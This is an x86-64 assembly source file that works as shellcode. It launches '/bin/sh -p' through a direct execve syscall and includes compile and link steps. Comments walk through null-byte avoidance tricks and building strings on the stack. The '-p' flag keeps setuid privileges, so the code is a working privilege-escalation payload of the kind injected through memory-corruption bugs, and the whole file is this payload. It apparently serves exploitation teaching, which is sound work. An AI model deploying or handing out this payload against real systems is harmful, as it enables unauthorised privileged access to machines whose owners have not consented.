shell2_64.s

##
#  shell2_64.s - Executes "/bin/sh"
#    Compile and Link:
#        gcc -c shell2_64.s
#        ld -o shell2_64 shell2_64.o
.text
.global _start

_start:
    push %rbp
    mov %rsp, %rbp

    xor %r8, %r8

    # push "-p" onto the stack
    mov $0x702d, %r8w
    push %r8
    # save location of "-p" into %r9
    mov %rsp, %r9

    # mov "/bin/shA" into %r8
    mov $0x4168732f6e69622f, %r8
    # shift %r8 left 8 bits, and then back right 8 bits
    # this zeros the "A" on the end of "/bin/shA"
    shl $0x8, %r8
    shr $0x8, %r8
    # push "/bin/sh" on the stack
    push %r8
    # save the address of "/bin/sh" into %rdi
    mov %rsp, %rdi

    # push a null entry on the stack
    xor %r8, %r8
    push %r8
    # push a pointer to "-p" on the stack
    push %r9
    # push a pointer to "/bin/sh" on the stack
    push %rdi

    # set pointers to argv and envp
    mov %rsp, %rsi
    xor %rdx, %rdx

    # call execve(char * program, char * argv[], char * envp[])
    xor %rax, %rax
    mov $0x3b, %al

    syscall

    # we pushed 5*8 bytes of data onto the stack, so remove it
    add $0x28, %rsp
    pop %rbp
    ret